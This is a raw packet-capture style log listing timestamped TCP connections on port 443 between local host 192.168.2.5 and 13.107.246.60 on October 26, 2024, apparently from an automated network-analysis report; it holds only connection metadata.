Oct 26, 2024 13:49:29.254895926 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.255239964 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.255253077 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.255533934 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.255554914 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.390872955 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.391494036 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.391535997 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.392034054 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.392045021 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.393574953 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.394036055 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.394064903 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.394435883 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.394442081 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.521754026 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.522186995 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.522285938 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.522388935 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.522388935 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.522439957 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.522479057 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.523927927 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.524003029 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.524060011 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.524081945 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.524116039 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.524285078 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.524359941 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.524372101 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.524384022 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.524389029 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.525473118 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.525517941 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.525680065 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.525808096 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.525819063 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.526853085 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.526901960 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.526962042 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.527084112 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.527097940 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.756508112 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.757827997 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.757900000 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.758578062 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.758594990 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.887980938 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.888185024 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.888246059 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.888598919 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.888626099 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.888641119 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.888648033 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.905910015 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.905940056 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.905997992 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.906239033 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.906246901 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.977693081 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.978534937 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.978570938 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.979527950 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.979533911 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.982969046 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.983664989 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.983685017 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.985466003 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.985474110 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.106183052 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.106260061 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.106394053 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.106637001 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.106652975 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.106669903 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.106676102 CEST	443	49916	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.114020109 CEST	49920	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.114053011 CEST	443	49920	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.114109993 CEST	49920	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.114526987 CEST	49920	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.114542007 CEST	443	49920	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.151963949 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.152013063 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.152067900 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.152205944 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.152663946 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.152686119 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.162030935 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.162075996 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.162132978 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.163151979 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.163171053 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.260562897 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.261203051 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.261225939 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.262345076 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.262924910 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.262939930 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.263925076 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.263957024 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.265197039 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.265208960 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.391693115 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.391769886 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.391890049 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.391923904 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.391967058 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.392406940 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.392435074 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.392452955 CEST	49917	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.392458916 CEST	443	49917	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.393719912 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.393793106 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.393995047 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.396114111 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.396171093 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.396205902 CEST	49918	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.396240950 CEST	443	49918	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.402544022 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.402578115 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.402710915 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.404860020 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.404907942 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.404997110 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.405369043 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.405386925 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.405611992 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.405627966 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.664443970 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.684952974 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.684979916 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.685915947 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.685920954 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.813843012 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.813909054 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.814038038 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.814095974 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.821588993 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.821625948 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.821645021 CEST	49919	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.821650982 CEST	443	49919	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.824770927 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.824826956 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.825009108 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.825139046 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.825164080 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.866174936 CEST	443	49920	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.866776943 CEST	49920	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.866796017 CEST	443	49920	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.867292881 CEST	49920	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.867299080 CEST	443	49920	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.913490057 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.913990974 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.914038897 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:30.914449930 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:30.914457083 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.001064062 CEST	443	49920	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.001132011 CEST	443	49920	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.001254082 CEST	49920	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.001544952 CEST	49920	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.001544952 CEST	49920	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.001566887 CEST	443	49920	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.001575947 CEST	443	49920	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.009598970 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.009649992 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.009732962 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.009875059 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.009885073 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.047702074 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.047878981 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.047929049 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.047939062 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.047975063 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.048105955 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.048105955 CEST	49921	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.048125982 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.048139095 CEST	443	49921	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.050776005 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.050837994 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.051037073 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.051165104 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.051177979 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.134650946 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.135301113 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.135330915 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.135813951 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.135829926 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.142432928 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.142888069 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.142915010 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.143326044 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.143341064 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.264942884 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.265010118 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.265263081 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.265454054 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.265472889 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.265553951 CEST	49922	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.265561104 CEST	443	49922	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.270652056 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.270750999 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.270839930 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.271069050 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.271105051 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.273216963 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.273278952 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.273411989 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.273550987 CEST	49923	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.273571968 CEST	443	49923	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.276057005 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.276148081 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.276225090 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.276427984 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.276485920 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.554272890 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.554935932 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.554955959 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.555349112 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.555354118 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.683214903 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.683289051 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.683442116 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.683790922 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.683823109 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.683860064 CEST	49924	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.683866024 CEST	443	49924	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.689415932 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.689471006 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.689620972 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.690047979 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.690067053 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.763768911 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.764359951 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.764389038 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.764844894 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.764853001 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.803212881 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.803781033 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.803802013 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.804241896 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.804250956 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.957143068 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.957180977 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.957236052 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.957247972 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.957289934 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.957482100 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.957504034 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.957515001 CEST	49925	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.957520962 CEST	443	49925	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.960571051 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.960624933 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.960860014 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.961076021 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.961097956 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.982426882 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.982511044 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.982714891 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.982918024 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.982918024 CEST	49926	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.982939959 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.982952118 CEST	443	49926	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.986627102 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.986680984 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:31.986984015 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.987176895 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:31.987186909 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.004184008 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.004560947 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.004734039 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.004765987 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.005067110 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.005099058 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.005209923 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.005214930 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.005511045 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.005518913 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.134624958 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.134691954 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.134938002 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.135010004 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.135030985 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.135046959 CEST	49928	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.135054111 CEST	443	49928	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.135397911 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.135490894 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.135574102 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.135606050 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.135657072 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.135915995 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.135915995 CEST	49927	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.135957956 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.135984898 CEST	443	49927	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.138070107 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.138115883 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.138187885 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.138246059 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.138277054 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.138370037 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.138387918 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.138401985 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.138470888 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.138482094 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.420137882 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.420792103 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.420820951 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.421319008 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.421328068 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.550451994 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.550523996 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.550611019 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.550868988 CEST	49929	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.550888062 CEST	443	49929	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.553884983 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.553934097 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.553996086 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.554224014 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.554244041 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.683993101 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.684536934 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.684566021 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.685028076 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.685035944 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.706449032 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.707051992 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.707073927 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.707680941 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.707689047 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.813294888 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.813353062 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.813431025 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.814171076 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.814197063 CEST	443	49930	13.107.246.60	192.168.2.5
